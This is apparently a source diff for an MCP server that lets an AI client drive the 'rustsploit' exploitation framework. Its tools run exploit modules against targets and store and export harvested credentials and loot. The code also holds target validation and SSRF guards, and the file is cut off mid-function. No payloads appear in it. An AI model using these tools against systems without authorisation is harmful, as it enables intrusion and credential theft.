if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let request: JsonRpcRequest = match serde_json::from_str(trimmed) {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
eprintln!("[MCP] parse error: {}", e);
|
||||
let resp = JsonRpcResponse::error(None, -32700, format!("Parse error: {}", e));
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
eprintln!("[MCP] <- method={}", request.method);
|
||||
|
||||
let response = handle_request(request).await;
|
||||
if let Some(resp) = response {
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Serialize a response as a single JSON line on the protocol channel.
|
||||
async fn write_response(
|
||||
out: &mut (dyn tokio::io::AsyncWrite + Unpin + Send),
|
||||
resp: &JsonRpcResponse,
|
||||
) -> anyhow::Result<()> {
|
||||
let mut json = serde_json::to_vec(resp).context("failed to serialize response")?;
|
||||
json.push(b'\n');
|
||||
out.write_all(&json).await.context("failed to write response")?;
|
||||
out.flush().await.context("failed to flush protocol channel")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Route a parsed request to the appropriate handler.
|
||||
async fn handle_request(req: JsonRpcRequest) -> Option<JsonRpcResponse> {
|
||||
match req.method.as_str() {
|
||||
"initialize" => Some(handle_initialize(req.id)),
|
||||
"initialized" | "notifications/initialized" => {
|
||||
// Notification — no response.
|
||||
eprintln!("[MCP] Client initialized");
|
||||
None
|
||||
}
|
||||
"tools/list" => Some(handle_tools_list(req.id)),
|
||||
"tools/call" => Some(handle_tools_call(req.id, req.params).await),
|
||||
"resources/list" => Some(handle_resources_list(req.id)),
|
||||
"resources/read" => Some(handle_resources_read(req.id, req.params).await),
|
||||
other if other.starts_with("notifications/") => {
|
||||
eprintln!("[MCP] Ignoring notification: {}", other);
|
||||
None
|
||||
}
|
||||
other => Some(JsonRpcResponse::error(
|
||||
req.id,
|
||||
-32601,
|
||||
format!("Method not found: {}", other),
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Handler implementations
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn handle_initialize(id: Option<Value>) -> JsonRpcResponse {
|
||||
let result = InitializeResult {
|
||||
protocol_version: "2024-11-05".to_string(),
|
||||
capabilities: ServerCapabilities {
|
||||
tools: Some(ToolsCapability {}),
|
||||
resources: Some(ResourcesCapability {}),
|
||||
},
|
||||
server_info: ServerInfo {
|
||||
name: "rustsploit-mcp".to_string(),
|
||||
version: env!("CARGO_PKG_VERSION").to_string(),
|
||||
},
|
||||
};
|
||||
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, v),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_tools_list(id: Option<Value>) -> JsonRpcResponse {
|
||||
let tools = super::tools::all_tools();
|
||||
match serde_json::to_value(&tools) {
|
||||
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "tools": v })),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_tools_call(id: Option<Value>, params: Option<Value>) -> JsonRpcResponse {
|
||||
let (name, arguments) = match extract_tool_call_params(¶ms) {
|
||||
Ok(pair) => pair,
|
||||
Err(msg) => return JsonRpcResponse::error(id, -32602, msg),
|
||||
};
|
||||
|
||||
let result = super::tools::call_tool(&name, arguments).await;
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, v),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_resources_list(id: Option<Value>) -> JsonRpcResponse {
|
||||
let resources = super::resources::all_resources();
|
||||
match serde_json::to_value(&resources) {
|
||||
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "resources": v })),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_resources_read(id: Option<Value>, params: Option<Value>) -> JsonRpcResponse {
|
||||
let uri = match extract_resource_uri(¶ms) {
|
||||
Ok(u) => u,
|
||||
Err(msg) => return JsonRpcResponse::error(id, -32602, msg),
|
||||
};
|
||||
|
||||
let result = super::resources::read_resource(&uri).await;
|
||||
// The MCP spec (2024-11-05) requires `resources/read` to return
|
||||
// `{ contents: [ { uri, mimeType, text } ] }` — a list, not a bare content
|
||||
// object. Claude's client rejects the bare shape silently.
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "contents": [v] })),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Param extraction helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Pull `name` (String) and `arguments` (Object) out of the `tools/call` params.
|
||||
fn extract_tool_call_params(params: &Option<Value>) -> Result<(String, Value), String> {
|
||||
let obj = params
|
||||
.as_ref()
|
||||
.and_then(|v| v.as_object())
|
||||
.ok_or_else(|| "Invalid params: expected object with 'name' and 'arguments'".to_string())?;
|
||||
|
||||
let name = obj
|
||||
.get("name")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| "Missing or invalid 'name' in params".to_string())?
|
||||
.to_string();
|
||||
|
||||
let arguments = obj
|
||||
.get("arguments")
|
||||
.cloned()
|
||||
.unwrap_or_else(|| serde_json::json!({}));
|
||||
|
||||
Ok((name, arguments))
|
||||
}
|
||||
|
||||
/// Pull `uri` (String) out of the `resources/read` params.
|
||||
fn extract_resource_uri(params: &Option<Value>) -> Result<String, String> {
|
||||
let obj = params
|
||||
.as_ref()
|
||||
.and_then(|v| v.as_object())
|
||||
.ok_or_else(|| "Invalid params: expected object with 'uri'".to_string())?;
|
||||
|
||||
let uri = obj
|
||||
.get("uri")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| "Missing or invalid 'uri' in params".to_string())?
|
||||
.to_string();
|
||||
|
||||
Ok(uri)
|
||||
}
|
||||
@@ -0,0 +1,888 @@
|
||||
use std::collections::HashMap;
|
||||
|
||||
use once_cell::sync::Lazy;
|
||||
use serde_json::{json, Value};
|
||||
|
||||
use super::types::{Tool, ToolResult};
|
||||
|
||||
/// Cached tool definitions — built once, reused on every tools/list call.
|
||||
static TOOL_DEFINITIONS: Lazy<Vec<Tool>> = Lazy::new(build_tool_definitions);
|
||||
|
||||
/// Return definitions for all MCP tools (cached).
|
||||
pub fn all_tools() -> Vec<Tool> {
|
||||
TOOL_DEFINITIONS.clone()
|
||||
}
|
||||
|
||||
fn build_tool_definitions() -> Vec<Tool> {
|
||||
vec![
|
||||
// ── Module tools ──────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_modules".into(),
|
||||
description: "List all available modules, optionally filtered by category".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"category": { "type": "string", "description": "Filter by category (exploits, scanners, creds, plugins)" }
|
||||
}
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "search_modules".into(),
|
||||
description: "Search modules by keyword (case-insensitive substring match)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string", "description": "Search query" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "module_info".into(),
|
||||
description: "Get metadata for a specific module (name, description, authors, references, rank)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"module_path": { "type": "string", "description": "Full module path, e.g. exploits/router_exploit" }
|
||||
},
|
||||
"required": ["module_path"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "check_module".into(),
|
||||
description: "Run a non-destructive vulnerability check against a target".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"module_path": { "type": "string", "description": "Full module path" },
|
||||
"target": { "type": "string", "description": "Target IP, hostname, or CIDR" }
|
||||
},
|
||||
"required": ["module_path", "target"]
|
||||
}),
|
||||
},
|
||||
// ── Target tools ──────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "set_target".into(),
|
||||
description: "Set the global target (IP, hostname, CIDR subnet, or comma-separated list)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"target": { "type": "string", "description": "Target value" }
|
||||
},
|
||||
"required": ["target"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "get_target".into(),
|
||||
description: "Get the current global target, its size, and whether it is a subnet".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "clear_target".into(),
|
||||
description: "Clear the global target".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
// ── Execution ─────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "run_module".into(),
|
||||
description: "Execute a module against a target, returning captured output".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"module_path": { "type": "string", "description": "Full module path" },
|
||||
"target": { "type": "string", "description": "Target IP, hostname, or CIDR" },
|
||||
"port": { "type": "integer", "description": "Optional port override" },
|
||||
"verbose": { "type": "boolean", "description": "Enable verbose output" },
|
||||
"prompts": {
|
||||
"type": "object",
|
||||
"description": "Key-value prompt overrides (e.g. {\"port\": \"8080\", \"timeout\": \"5\"})",
|
||||
"additionalProperties": { "type": "string" }
|
||||
}
|
||||
},
|
||||
"required": ["module_path", "target"]
|
||||
}),
|
||||
},
|
||||
// ── Credentials ───────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_creds".into(),
|
||||
description: "List all stored credentials".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "search_creds".into(),
|
||||
description: "Search credentials by host, service, or username".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string", "description": "Search query" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "add_cred".into(),
|
||||
description: "Add a credential to the store".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"username": { "type": "string" },
|
||||
"secret": { "type": "string" },
|
||||
"port": { "type": "integer", "default": 0 },
|
||||
"service": { "type": "string", "default": "unknown" },
|
||||
"cred_type": { "type": "string", "enum": ["password", "hash", "key", "token"], "default": "password" }
|
||||
},
|
||||
"required": ["host", "username", "secret"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_cred".into(),
|
||||
description: "Delete a credential by its ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "string", "description": "Credential ID" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Workspace hosts & services ────────────────────────────────
|
||||
Tool {
|
||||
name: "list_hosts".into(),
|
||||
description: "List all tracked hosts in the current workspace".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "add_host".into(),
|
||||
description: "Add or update a host in the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ip": { "type": "string" },
|
||||
"hostname": { "type": "string" },
|
||||
"os_guess": { "type": "string" }
|
||||
},
|
||||
"required": ["ip"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_host".into(),
|
||||
description: "Delete a host (and its services) from the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ip": { "type": "string" }
|
||||
},
|
||||
"required": ["ip"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "list_services".into(),
|
||||
description: "List all tracked services in the current workspace".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "add_service".into(),
|
||||
description: "Add or update a service in the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"port": { "type": "integer" },
|
||||
"service_name": { "type": "string" },
|
||||
"protocol": { "type": "string", "default": "tcp" },
|
||||
"version": { "type": "string" }
|
||||
},
|
||||
"required": ["host", "port", "service_name"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_service".into(),
|
||||
description: "Delete a service by host and port".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"port": { "type": "integer" }
|
||||
},
|
||||
"required": ["host", "port"]
|
||||
}),
|
||||
},
|
||||
// ── Loot ──────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_loot".into(),
|
||||
description: "List all stored loot entries".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "search_loot".into(),
|
||||
description: "Search loot by host, type, or description".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "add_loot".into(),
|
||||
description: "Store a loot entry (text data)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"loot_type": { "type": "string", "description": "e.g. config, password_file, hash, firmware" },
|
||||
"data": { "type": "string", "description": "Loot content (text)" },
|
||||
"description": { "type": "string" }
|
||||
},
|
||||
"required": ["host", "loot_type", "data"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_loot".into(),
|
||||
description: "Delete a loot entry by ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "string" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Global options ────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_options".into(),
|
||||
description: "List all persistent global options (setg values)".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "set_option".into(),
|
||||
description: "Set a persistent global option".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"key": { "type": "string" },
|
||||
"value": { "type": "string" }
|
||||
},
|
||||
"required": ["key", "value"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "unset_option".into(),
|
||||
description: "Remove a persistent global option".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"key": { "type": "string" }
|
||||
},
|
||||
"required": ["key"]
|
||||
}),
|
||||
},
|
||||
// ── Jobs ──────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_jobs".into(),
|
||||
description: "List active background jobs".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "kill_job".into(),
|
||||
description: "Kill a background job by ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "integer" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Workspace management ──────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_workspaces".into(),
|
||||
description: "List all available workspaces".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "switch_workspace".into(),
|
||||
description: "Switch to a different workspace (creates it if it does not exist)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"name": { "type": "string" }
|
||||
},
|
||||
"required": ["name"]
|
||||
}),
|
||||
},
|
||||
// ── Export ────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "export_data".into(),
|
||||
description: "Export full engagement data (workspace, hosts, services, credentials, loot) as JSON".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Tool dispatch
|
||||
// ===========================================================================
|
||||
|
||||
/// Dispatch a tool call by name.
|
||||
pub async fn call_tool(name: &str, args: Value) -> ToolResult {
|
||||
match name {
|
||||
// ── Module tools ──────────────────────────────────────────
|
||||
"list_modules" => handle_list_modules(&args),
|
||||
"search_modules" => handle_search_modules(&args),
|
||||
"module_info" => handle_module_info(&args),
|
||||
"check_module" => handle_check_module(&args).await,
|
||||
|
||||
// ── Target tools ──────────────────────────────────────────
|
||||
"set_target" => handle_set_target(&args).await,
|
||||
"get_target" => handle_get_target(),
|
||||
"clear_target" => handle_clear_target(),
|
||||
|
||||
// ── Execution ─────────────────────────────────────────────
|
||||
"run_module" => handle_run_module(&args).await,
|
||||
|
||||
// ── Credentials ───────────────────────────────────────────
|
||||
"list_creds" => handle_list_creds().await,
|
||||
"search_creds" => handle_search_creds(&args).await,
|
||||
"add_cred" => handle_add_cred(&args).await,
|
||||
"delete_cred" => handle_delete_cred(&args).await,
|
||||
|
||||
// ── Workspace hosts & services ────────────────────────────
|
||||
"list_hosts" => handle_list_hosts().await,
|
||||
"add_host" => handle_add_host(&args).await,
|
||||
"delete_host" => handle_delete_host(&args).await,
|
||||
"list_services" => handle_list_services().await,
|
||||
"add_service" => handle_add_service(&args).await,
|
||||
"delete_service" => handle_delete_service(&args).await,
|
||||
|
||||
// ── Loot ──────────────────────────────────────────────────
|
||||
"list_loot" => handle_list_loot().await,
|
||||
"search_loot" => handle_search_loot(&args).await,
|
||||
"add_loot" => handle_add_loot(&args).await,
|
||||
"delete_loot" => handle_delete_loot(&args).await,
|
||||
|
||||
// ── Global options ────────────────────────────────────────
|
||||
"list_options" => handle_list_options().await,
|
||||
"set_option" => handle_set_option(&args).await,
|
||||
"unset_option" => handle_unset_option(&args).await,
|
||||
|
||||
// ── Jobs ──────────────────────────────────────────────────
|
||||
"list_jobs" => handle_list_jobs(),
|
||||
"kill_job" => handle_kill_job(&args),
|
||||
|
||||
// ── Workspace management ──────────────────────────────────
|
||||
"list_workspaces" => handle_list_workspaces().await,
|
||||
"switch_workspace" => handle_switch_workspace(&args).await,
|
||||
|
||||
// ── Export ────────────────────────────────────────────────
|
||||
"export_data" => handle_export_data().await,
|
||||
|
||||
_ => ToolResult::error(format!("Unknown tool: {}", name)),
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Helpers to extract typed values from serde_json::Value
|
||||
// ===========================================================================
|
||||
|
||||
/// Extract a required string parameter, returning ToolResult::error if missing.
|
||||
macro_rules! require_str {
|
||||
($args:expr, $key:expr) => {
|
||||
match str_param($args, $key) {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error(format!("Missing required parameter: {}", $key)),
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
fn str_param<'a>(args: &'a Value, key: &str) -> Option<&'a str> {
|
||||
args.get(key).and_then(|v| v.as_str())
|
||||
}
|
||||
|
||||
fn u16_param(args: &Value, key: &str) -> Option<u16> {
|
||||
args.get(key).and_then(|v| v.as_u64()).map(|n| n as u16)
|
||||
}
|
||||
|
||||
fn u32_param(args: &Value, key: &str) -> Option<u32> {
|
||||
args.get(key).and_then(|v| v.as_u64()).map(|n| n as u32)
|
||||
}
|
||||
|
||||
fn bool_param(args: &Value, key: &str) -> Option<bool> {
|
||||
args.get(key).and_then(|v| v.as_bool())
|
||||
}
|
||||
|
||||
fn prompts_param(args: &Value) -> HashMap<String, String> {
|
||||
let mut map = HashMap::new();
|
||||
if let Some(obj) = args.get("prompts").and_then(|v| v.as_object()) {
|
||||
for (k, v) in obj {
|
||||
if let Some(s) = v.as_str() {
|
||||
map.insert(k.clone(), s.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
map
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Individual tool handlers
|
||||
// ===========================================================================
|
||||
|
||||
// ── Module tools ──────────────────────────────────────────────────────────
|
||||
|
||||
fn handle_list_modules(args: &Value) -> ToolResult {
|
||||
let modules = crate::commands::discover_modules();
|
||||
let filtered: Vec<&String> = if let Some(cat) = str_param(args, "category") {
|
||||
let prefix = format!("{}/", cat);
|
||||
modules.iter().filter(|m| m.starts_with(&prefix)).collect()
|
||||
} else {
|
||||
modules.iter().collect()
|
||||
};
|
||||
ToolResult::json(&filtered)
|
||||
}
|
||||
|
||||
fn handle_search_modules(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let q_lower = query.to_lowercase();
|
||||
let modules = crate::commands::discover_modules();
|
||||
let matched: Vec<&String> = modules
|
||||
.iter()
|
||||
.filter(|m| m.to_lowercase().contains(&q_lower))
|
||||
.collect();
|
||||
ToolResult::json(&matched)
|
||||
}
|
||||
|
||||
fn handle_module_info(args: &Value) -> ToolResult {
|
||||
let path = require_str!(args, "module_path");
|
||||
if !crate::api::validate_module_name(path) {
|
||||
return ToolResult::error("Invalid module name".into());
|
||||
}
|
||||
match crate::commands::module_info(path) {
|
||||
Some(info) => ToolResult::json(&info),
|
||||
None => ToolResult::error(format!("No info available for module '{}'", path)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_check_module(args: &Value) -> ToolResult {
|
||||
let path = require_str!(args, "module_path");
|
||||
let target = require_str!(args, "target");
|
||||
if !crate::api::validate_module_name(path) {
|
||||
return ToolResult::error("Invalid module name".into());
|
||||
}
|
||||
if !crate::api::validate_target(target) {
|
||||
return ToolResult::error("Invalid target format".into());
|
||||
}
|
||||
if crate::api::is_blocked_target(target) {
|
||||
return ToolResult::error("Target matches blocked address range".into());
|
||||
}
|
||||
if crate::api::is_blocked_target_resolved(target).await {
|
||||
return ToolResult::error("Target resolves to a blocked metadata/link-local address".into());
|
||||
}
|
||||
match crate::commands::check_module(path, target).await {
|
||||
Some(result) => ToolResult::json(&result),
|
||||
None => ToolResult::error(format!("Module '{}' does not support check", path)),
|
||||
}
|
||||
}
|
||||
|
||||
// ── Target tools ──────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_set_target(args: &Value) -> ToolResult {
|
||||
let target = require_str!(args, "target");
|
||||
if !crate::api::validate_target(target) {
|
||||
return ToolResult::error("Invalid target format".into());
|
||||
}
|
||||
if crate::api::is_blocked_target(target) {
|
||||
return ToolResult::error("Target matches blocked address range".into());
|
||||
}
|
||||
if crate::api::is_blocked_target_resolved(target).await {
|
||||
return ToolResult::error("Target resolves to blocked address".into());
|
||||
}
|
||||
match crate::config::GLOBAL_CONFIG.set_target(target) {
|
||||
Ok(()) => ToolResult::text(format!("Target set to: {}", target)),
|
||||
Err(e) => ToolResult::error(format!("Failed to set target: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_get_target() -> ToolResult {
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let size = crate::config::GLOBAL_CONFIG.get_target_size();
|
||||
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
|
||||
ToolResult::json(&json!({
|
||||
"target": target,
|
||||
"size": size,
|
||||
"is_subnet": is_subnet,
|
||||
}))
|
||||
}
|
||||
|
||||
fn handle_clear_target() -> ToolResult {
|
||||
crate::config::GLOBAL_CONFIG.clear_target();
|
||||
ToolResult::text("Target cleared".into())
|
||||
}
|
||||
|
||||
// ── Execution ─────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_run_module(args: &Value) -> ToolResult {
|
||||
let module_path = require_str!(args, "module_path").to_string();
|
||||
let target = require_str!(args, "target").to_string();
|
||||
let verbose = bool_param(args, "verbose").unwrap_or(false);
|
||||
|
||||
if !crate::api::validate_module_name(&module_path) {
|
||||
return ToolResult::error("Invalid module name".into());
|
||||
}
|
||||
if !crate::api::validate_target(&target) {
|
||||
return ToolResult::error("Invalid target format".into());
|
||||
}
|
||||
if crate::api::is_blocked_target(&target) {
|
||||
return ToolResult::error("Target matches blocked address range".into());
|
||||
}
|
||||
if crate::api::is_blocked_target_resolved(&target).await {
|
||||
return ToolResult::error("Target resolves to a blocked metadata/link-local address".into());
|
||||
}
|
||||
|
||||
if !crate::commands::discover_modules().contains(&module_path) {
|
||||
return ToolResult::error(format!("Module '{}' not found", module_path));
|
||||
}
|
||||
|
||||
let mut prompts = prompts_param(args);
|
||||
// Inject port into prompts if provided as a top-level parameter
|
||||
if let Some(port) = u16_param(args, "port") {
|
||||
prompts.entry("port".into()).or_insert_with(|| port.to_string());
|
||||
}
|
||||
// Strip "target" from prompts to prevent SSRF bypass via prompt injection
|
||||
prompts.remove("target");
|
||||
|
||||
let module_config = crate::config::ModuleConfig {
|
||||
api_mode: true,
|
||||
custom_prompts: prompts,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
let output_buf = crate::output::OutputBuffer::new();
|
||||
let buf_clone = output_buf.clone();
|
||||
|
||||
let (result, _ctx) = crate::context::run_with_context_target(
|
||||
module_config,
|
||||
target.clone(),
|
||||
|| async {
|
||||
crate::output::OUTPUT_BUFFER
|
||||
.scope(buf_clone, async {
|
||||
crate::commands::run_module(&module_path, &target, verbose).await
|
||||
})
|
||||
.await
|
||||
},
|
||||
)
|
||||
.await;
|
||||
|
||||
let stdout = output_buf.drain_stdout();
|
||||
let stderr = output_buf.drain_stderr();
|
||||
|
||||
match result {
|
||||
Ok(()) => {
|
||||
let mut text = stdout;
|
||||
if !stderr.is_empty() {
|
||||
text.push_str("\n--- stderr ---\n");
|
||||
text.push_str(&stderr);
|
||||
}
|
||||
if text.is_empty() {
|
||||
text = "Module completed successfully (no output captured)".into();
|
||||
}
|
||||
ToolResult::text(text)
|
||||
}
|
||||
Err(e) => {
|
||||
let mut msg = format!("Module error: {}\n", e);
|
||||
if !stdout.is_empty() {
|
||||
msg.push_str("\n--- stdout ---\n");
|
||||
msg.push_str(&stdout);
|
||||
}
|
||||
if !stderr.is_empty() {
|
||||
msg.push_str("\n--- stderr ---\n");
|
||||
msg.push_str(&stderr);
|
||||
}
|
||||
ToolResult::error(msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Credentials ───────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_creds() -> ToolResult {
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
ToolResult::json(&creds)
|
||||
}
|
||||
|
||||
async fn handle_search_creds(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let results = crate::cred_store::CRED_STORE.search(query).await;
|
||||
ToolResult::json(&results)
|
||||
}
|
||||
|
||||
async fn handle_add_cred(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let username = require_str!(args, "username");
|
||||
let secret = require_str!(args, "secret");
|
||||
let port = match u16_param(args, "port") {
|
||||
Some(0) => return ToolResult::error("Port must be between 1 and 65535".into()),
|
||||
Some(p) => p,
|
||||
None => return ToolResult::error("Missing required parameter: port".into()),
|
||||
};
|
||||
let service = str_param(args, "service").unwrap_or("unknown");
|
||||
if host.len() > 4096 || host.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("host too long (max 4096) or contains control characters".into());
|
||||
}
|
||||
if username.len() > 4096 || username.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("username too long (max 4096) or contains control characters".into());
|
||||
}
|
||||
if secret.len() > 4096 {
|
||||
return ToolResult::error("secret too long (max 4096 chars)".into());
|
||||
}
|
||||
if service.len() > 4096 || service.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("service too long (max 4096) or contains control characters".into());
|
||||
}
|
||||
let cred_type = match str_param(args, "cred_type").unwrap_or("password") {
|
||||
"hash" => crate::cred_store::CredType::Hash,
|
||||
"key" => crate::cred_store::CredType::Key,
|
||||
"token" => crate::cred_store::CredType::Token,
|
||||
_ => crate::cred_store::CredType::Password,
|
||||
};
|
||||
|
||||
match crate::cred_store::CRED_STORE
|
||||
.add(host, port, service, username, secret, cred_type, "mcp")
|
||||
.await
|
||||
{
|
||||
Some(id) => ToolResult::json(&json!({ "id": id, "status": "added" })),
|
||||
None => ToolResult::error("Failed to add credential (store limit reached or I/O error)".into()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_delete_cred(args: &Value) -> ToolResult {
|
||||
let id = require_str!(args, "id");
|
||||
if crate::cred_store::CRED_STORE.delete(id).await {
|
||||
ToolResult::text(format!("Credential {} deleted", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Credential {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Workspace hosts & services ────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_hosts() -> ToolResult {
|
||||
let hosts = crate::workspace::WORKSPACE.hosts().await;
|
||||
ToolResult::json(&hosts)
|
||||
}
|
||||
|
||||
async fn handle_add_host(args: &Value) -> ToolResult {
|
||||
let ip = require_str!(args, "ip");
|
||||
if ip.len() > 256 || ip.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("IP too long (max 256) or contains control characters".into());
|
||||
}
|
||||
let hostname = str_param(args, "hostname");
|
||||
if let Some(h) = hostname {
|
||||
if h.len() > 256 || h.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("hostname too long (max 256) or contains control characters".into());
|
||||
}
|
||||
}
|
||||
let os_guess = str_param(args, "os_guess");
|
||||
if let Some(o) = os_guess {
|
||||
